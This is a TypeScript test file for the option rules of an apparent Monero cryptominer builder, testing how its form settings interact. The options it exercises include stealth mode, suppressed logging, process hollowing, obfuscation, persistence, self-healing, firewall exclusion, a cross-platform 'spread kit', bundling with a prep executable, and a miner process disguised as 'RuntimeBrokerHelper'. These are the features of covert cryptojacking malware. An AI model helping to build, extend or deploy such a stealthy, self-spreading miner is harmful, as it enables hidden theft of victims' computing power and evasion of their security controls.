import { describe, expect, it } from 'vitest';
import {
  FORGE_SECTIONS,
  applyForgeFieldUpdate,
  forgeBadgeLabel,
  getForgeFieldMeta,
  getForgeLiveNotices,
  type ForgeFieldBadge,
} from './forgeRules';
import { FORGE_BUILD_DEFAULTS } from './forgeDefaults';
import type { BuildRequest } from '../types';

function baseForm(overrides: Partial<BuildRequest> = {}): BuildRequest {
  return {
    worker_name: 'pc-lab-1',
    server_url: 'http://192.168.1.10:8989',
    wallet: '4' + 'A'.repeat(94),
    pool_host: 'pool.supportxmr.com',
    pool_port: 3333,
    pool_tls: false,
    pool_pass: 'x',
    ...FORGE_BUILD_DEFAULTS,
    ...overrides,
  } as BuildRequest;
}

describe('FORGE_SECTIONS', () => {
  it('defines six sections in order', () => {
    expect(FORGE_SECTIONS).toHaveLength(6);
    expect(FORGE_SECTIONS.map((s) => s.id)).toEqual([
      'identity',
      'pool',
      'performance',
      'install',
      'fusion',
      'ai',
    ]);
  });

  it('each section has id, title, description, and baked badge', () => {
    for (const section of FORGE_SECTIONS) {
      expect(section.id.length).toBeGreaterThan(0);
      expect(section.title.length).toBeGreaterThan(0);
      expect(section.description.length).toBeGreaterThan(0);
      expect(section.badge).toBe('baked');
    }
  });

  it('uses expected section titles', () => {
    const titles = Object.fromEntries(FORGE_SECTIONS.map((s) => [s.id, s.title]));
    expect(titles.identity).toBe('Identity');
    expect(titles.pool).toBe('Pool Configuration');
    expect(titles.performance).toBe('Performance & Resources');
    expect(titles.install).toBe('Install & Process');
    expect(titles.fusion).toBe('Fusion');
    expect(titles.ai).toBe('AI Autonomy');
  });
});

describe('forgeBadgeLabel', () => {
  const cases: [ForgeFieldBadge, string][] = [
    ['baked', 'Baked into installer'],
    ['server-only', 'Server folder only — not in .exe'],
    ['requires', 'Required when parent option is on'],
  ];

  it.each(cases)('maps %s badge to label', (badge, label) => {
    expect(forgeBadgeLabel(badge)).toBe(label);
  });
});

describe('applyForgeFieldUpdate', () => {
  it('stealth_mode disables logging and forces silent/background', () => {
    const out = applyForgeFieldUpdate(
      baseForm({ display_mode: 'visible', file_logging: true, silent_mode: false }),
      'stealth_mode',
      true
    );
    expect(out.stealth_mode).toBe(true);
    expect(out.file_logging).toBe(false);
    expect(out.display_mode).toBe('background');
    expect(out.silent_mode).toBe(true);
  });

  it('display_mode visible clears stealth and silent', () => {
    const out = applyForgeFieldUpdate(
      baseForm({ stealth_mode: true, silent_mode: true }),
      'display_mode',
      'visible'
    );
    expect(out.display_mode).toBe('visible');
    expect(out.stealth_mode).toBe(false);
    expect(out.silent_mode).toBe(false);
  });

  it('display_mode silent/background enables silent_mode', () => {
    expect(applyForgeFieldUpdate(baseForm({ silent_mode: false }), 'display_mode', 'silent').silent_mode).toBe(
      true
    );
    expect(
      applyForgeFieldUpdate(baseForm({ silent_mode: false }), 'display_mode', 'background').silent_mode
    ).toBe(true);
  });

  it('persistence and auto_start stay linked', () => {
    expect(applyForgeFieldUpdate(baseForm({ auto_start: false }), 'persistence', true).auto_start).toBe(true);
    expect(applyForgeFieldUpdate(baseForm({ persistence: false }), 'auto_start', true).persistence).toBe(true);
  });

  it('linux target clears Windows-only flags and fixes install base', () => {
    const out = applyForgeFieldUpdate(
      baseForm({
        target_os: 'windows',
        process_hollowing: true,
        sign_build: true,
        obfuscate: true,
        install_base: 'localappdata',
      }),
      'target_os',
      'linux'
    );
    expect(out.target_os).toBe('linux');
    expect(out.target_arch).toBe('amd64');
    expect(out.process_hollowing).toBe(false);
    expect(out.sign_build).toBe(false);
    expect(out.obfuscate).toBe(false);
    expect(out.spread_kit).toBe(false);
    expect(out.install_base).toBe('xdg_data_home');
  });

  it('darwin target defaults to arm64', () => {
    const out = applyForgeFieldUpdate(baseForm(), 'target_os', 'darwin');
    expect(out.target_os).toBe('darwin');
    expect(out.target_arch).toBe('arm64');
  });

  it('windows target restores localappdata from xdg path', () => {
    const out = applyForgeFieldUpdate(baseForm({ install_base: 'xdg_data_home' }), 'target_os', 'windows');
    expect(out.target_os).toBe('windows');
    expect(out.target_arch).toBe('all');
    expect(out.install_base).toBe('localappdata');
  });

  it('universal target on single deliverable normalizes back to windows', () => {
    const out = applyForgeFieldUpdate(baseForm(), 'target_os', 'universal');
    expect(out.target_os).toBe('windows');
    expect(out.target_arch).toBe('all');
  });

  it('universal target stays when spread kit is active', () => {
    const out = applyForgeFieldUpdate(baseForm({ spread_kit: true }), 'target_os', 'universal');
    expect(out.target_os).toBe('universal');
    expect(out.target_arch).toBe('all');
  });

  it('fusion_enabled forces background, clears spread kit, and universal target', () => {
    const out = applyForgeFieldUpdate(
      baseForm({ spread_kit: true, display_mode: 'visible', target_os: 'windows' }),
      'fusion_enabled',
      true
    );
    expect(out.fusion_enabled).toBe(true);
    expect(out.display_mode).toBe('background');
    expect(out.silent_mode).toBe(true);
    expect(out.spread_kit).toBe(false);
    expect(out.target_os).toBe('universal');
  });

  it('spread_kit applies full preset and clears fusion', () => {
    const out = applyForgeFieldUpdate(baseForm({ fusion_enabled: true }), 'spread_kit', true);
    expect(out.spread_kit).toBe(true);
    expect(out.fusion_enabled).toBe(false);
    expect(out.target_os).toBe('universal');
    expect(out.target_arch).toBe('all');
    expect(out.run_as).toBe('scheduled');
    expect(out.persistence).toBe(true);
    expect(out.auto_start).toBe(true);
    expect(out.self_healing).toBe(true);
    expect(out.stealth_mode).toBe(true);
    expect(out.silent_mode).toBe(true);
    expect(out.file_logging).toBe(false);
    expect(out.firewall_exclusion).toBe(true);
    expect(out.display_mode).toBe('background');
    expect(out.process_hollowing).toBe(false);
  });

  it('thread_mode fixed sets minimum threads', () => {
    const out = applyForgeFieldUpdate(baseForm({ threads: 0 }), 'thread_mode', 'fixed');
    expect(out.thread_mode).toBe('fixed');
    expect(out.threads).toBeGreaterThanOrEqual(1);
  });

  it('thread_mode percent clamps invalid thread_percent', () => {
    const out = applyForgeFieldUpdate(baseForm({ thread_percent: 0 }), 'thread_mode', 'percent');
    expect(out.thread_percent).toBe(75);
  });

  it('install_base non-custom clears custom path', () => {
    const out = applyForgeFieldUpdate(
      baseForm({ install_custom_base: 'C:\\custom', install_base: 'custom' }),
      'install_base',
      'localappdata'
    );
    expect(out.install_base).toBe('localappdata');
    expect(out.install_custom_base).toBe('');
  });

  it('run_as scheduled/service forces persistence flags', () => {
    const scheduled = applyForgeFieldUpdate(baseForm({ persistence: false, auto_start: false }), 'run_as', 'scheduled');
    expect(scheduled.persistence).toBe(true);
    expect(scheduled.auto_start).toBe(true);

    const service = applyForgeFieldUpdate(baseForm({ persistence: false }), 'run_as', 'service');
    expect(service.persistence).toBe(true);
    expect(service.auto_start).toBe(true);
  });

  it('ai_enabled fills default endpoint and model when empty', () => {
    const out = applyForgeFieldUpdate(
      baseForm({ ai_ollama_endpoint: '', ai_model: '' }),
      'ai_enabled',
      true
    );
    expect(out.ai_enabled).toBe(true);
    expect(out.ai_ollama_endpoint).toBe('http://localhost:11434');
    expect(out.ai_model).toBe('llama3.2');
  });

  it('pool_port 443 auto-enables TLS', () => {
    const out = applyForgeFieldUpdate(baseForm({ pool_tls: false }), 'pool_port', 443);
    expect(out.pool_port).toBe(443);
    expect(out.pool_tls).toBe(true);
  });

  it('worker_name update does not auto-derive process_name', () => {
    const out = applyForgeFieldUpdate(baseForm({ process_name: 'RuntimeBrokerHelper' }), 'worker_name', 'new-worker');
    expect(out.worker_name).toBe('new-worker');
    expect(out.process_name).toBe('RuntimeBrokerHelper');
  });
});

describe('getForgeFieldMeta', () => {
  it('returns meta for all known forge fields', () => {
    const meta = getForgeFieldMeta(baseForm());
    const expectedKeys = [
      'worker_name',
      'server_url',
      'wallet',
      'output_dir',
      'pool_host',
      'pool_port',
      'thread_mode',
      'thread_percent',
      'threads',
      'fusion_enabled',
      'spread_kit',
      'target_os',
      'target_arch',
      'obfuscate',
      'sign_build',
    ];
    for (const key of expectedKeys) {
      expect(meta[key]).toBeDefined();
    }
  });

  it('disables thread_percent when thread mode is fixed', () => {
    const meta = getForgeFieldMeta(baseForm({ thread_mode: 'fixed' }));
    expect(meta.thread_percent.disabled).toBe(true);
    expect(meta.threads.disabled).toBe(false);
    expect(meta.adapt_to_hardware.disabled).toBe(true);
  });

  it('disables threads when thread mode is percent', () => {
    const meta = getForgeFieldMeta(baseForm({ thread_mode: 'percent' }));
    expect(meta.threads.disabled).toBe(true);
    expect(meta.thread_percent.disabled).toBe(false);
  });

  it('disables idle fields unless mining mode is idle', () => {
    const idle = getForgeFieldMeta(baseForm({ mining_mode: 'idle' }));
    expect(idle.idle_threshold_pct.disabled).toBe(false);
    expect(idle.idle_duration_minutes.disabled).toBe(false);

    const always = getForgeFieldMeta(baseForm({ mining_mode: 'always' }));
    expect(always.idle_threshold_pct.disabled).toBe(true);
    expect(always.idle_duration_minutes.disabled).toBe(true);
  });

  it('disables schedule fields unless mining mode is scheduled', () => {
    const scheduled = getForgeFieldMeta(baseForm({ mining_mode: 'scheduled' }));
    expect(scheduled.schedule_start.disabled).toBe(false);
    expect(scheduled.schedule_end.disabled).toBe(false);

    const always = getForgeFieldMeta(baseForm({ mining_mode: 'always' }));
    expect(always.schedule_start.disabled).toBe(true);
  });

  it('locks file_logging under stealth mode', () => {
    const meta = getForgeFieldMeta(baseForm({ stealth_mode: true }));
    expect(meta.file_logging.disabled).toBe(true);
    expect(meta.file_logging.lockedReason).toContain('Stealth mode');
  });

  it('locks persistence under scheduled/service run_as', () => {
    const meta = getForgeFieldMeta(baseForm({ run_as: 'scheduled' }));
    expect(meta.persistence.disabled).toBe(true);
    expect(meta.auto_start.disabled).toBe(true);
  });

  it('locks fusion when spread kit is on and vice versa', () => {
    const spread = getForgeFieldMeta(baseForm({ spread_kit: true }));
    expect(spread.fusion_enabled.disabled).toBe(true);
    expect(spread.target_os.disabled).toBe(true);

    const fusion = getForgeFieldMeta(baseForm({ fusion_enabled: true }));
    expect(fusion.spread_kit.disabled).toBe(true);
    expect(fusion.target_os.disabled).toBe(true);
  });

  it('requires fusion fields only when fusion is enabled', () => {
    const off = getForgeFieldMeta(baseForm({ fusion_enabled: false }));
    expect(off.fusion_prep.disabled).toBe(true);
    expect(off.fusion_run_order.badge).toBe('requires');

    const on = getForgeFieldMeta(baseForm({ fusion_enabled: true }));
    expect(on.fusion_prep.disabled).toBe(false);
  });

  it('disables unix-incompatible fields on linux/darwin', () => {
    const linux = getForgeFieldMeta(baseForm({ target_os: 'linux' }));
    expect(linux.process_hollowing.disabled).toBe(true);
    expect(linux.obfuscate.disabled).toBe(true);
    expect(linux.target_arch.disabled).toBe(false);

    const windows = getForgeFieldMeta(baseForm({ target_os: 'windows' }));
    expect(windows.target_arch.disabled).toBe(true);
    expect(windows.sign_build.disabled).toBe(false);
  });

  it('marks output_dir and obfuscate as server-only', () => {
    const meta = getForgeFieldMeta(baseForm());
    expect(meta.output_dir.badge).toBe('server-only');
    expect(meta.obfuscate.badge).toBe('server-only');
  });
});

describe('getForgeLiveNotices', () => {
  it('returns empty array for a plain windows form', () => {
    const notices = getForgeLiveNotices(baseForm({ target_os: 'windows', spread_kit: false }), false);
    expect(notices).toEqual([]);
  });

  it('warns about service run mode', () => {
    const notices = getForgeLiveNotices(baseForm({ run_as: 'service' }), false);
    expect(notices.some((n) => n.includes('scheduled task'))).toBe(true);
  });

  it('warns when scheduled/service lacks persistence', () => {
    const notices = getForgeLiveNotices(
      baseForm({ run_as: 'scheduled', persistence: false }),
      false
    );
    expect(notices.some((n) => n.includes('Persistence is forced on'))).toBe(true);
  });

  it('warns when fusion enabled without prep upload', () => {
    const notices = getForgeLiveNotices(baseForm({ fusion_enabled: true }), false);
    expect(notices.some((n) => n.includes('upload prep.exe'))).toBe(true);
  });

  it('includes AI Ollama notice when AI is enabled', () => {
    const notices = getForgeLiveNotices(baseForm({ ai_enabled: true }), false);
    expect(notices.some((n) => n.includes('Ollama'))).toBe(true);
  });

  it('warns when fixed threads ignores adapt_to_hardware', () => {
    const notices = getForgeLiveNotices(
      baseForm({ thread_mode: 'fixed', adapt_to_hardware: true }),
      false
    );
    expect(notices.some((n) => n.includes('Adapt to hardware'))).toBe(true);
  });

  it('warns on pool TLS/port mismatches', () => {
    const p443 = getForgeLiveNotices(baseForm({ pool_port: 443, pool_tls: false }), false);
    expect(p443.some((n) => n.includes('Port 443'))).toBe(true);

    const p3333 = getForgeLiveNotices(baseForm({ pool_port: 3333, pool_tls: true }), false);
    expect(p3333.some((n) => n.includes('3333'))).toBe(true);
  });

  it('warns on low max CPU with high thread percent', () => {
    const notices = getForgeLiveNotices(
      baseForm({ max_cpu_usage_pct: 20, thread_percent: 80, thread_mode: 'percent' }),
      false
    );
    expect(notices.some((n) => n.includes('throttling'))).toBe(true);
  });

  it('describes universal, spread kit, and fusion deliverables', () => {
    const universal = getForgeLiveNotices(baseForm({ target_os: 'universal' }), false);
    expect(universal.some((n) => n.includes('Windows, Linux, and macOS'))).toBe(true);

    const spread = getForgeLiveNotices(baseForm({ spread_kit: true, target_os: 'universal' }), false);
    expect(spread.some((n) => n.includes('Spread Kit'))).toBe(true);

    const fusion = getForgeLiveNotices(baseForm({ fusion_enabled: true, target_os: 'universal' }), true);
    expect(fusion.some((n) => n.includes('Fusion builds a universal ZIP'))).toBe(true);
  });

  it('notes single-platform unix install paths', () => {
    const linux = getForgeLiveNotices(baseForm({ target_os: 'linux' }), false);
    expect(linux.some((n) => n.includes('linux worker'))).toBe(true);

    const darwin = getForgeLiveNotices(baseForm({ target_os: 'darwin' }), false);
    expect(darwin.some((n) => n.includes('darwin worker'))).toBe(true);
  });

  it('warns on universal without deliverable type', () => {
    const notices = getForgeLiveNotices(
      baseForm({ target_os: 'universal', fusion_enabled: false, spread_kit: false }),
      false
    );
    expect(notices.some((n) => n.includes('without Spread Kit or Fusion'))).toBe(true);
  });
});
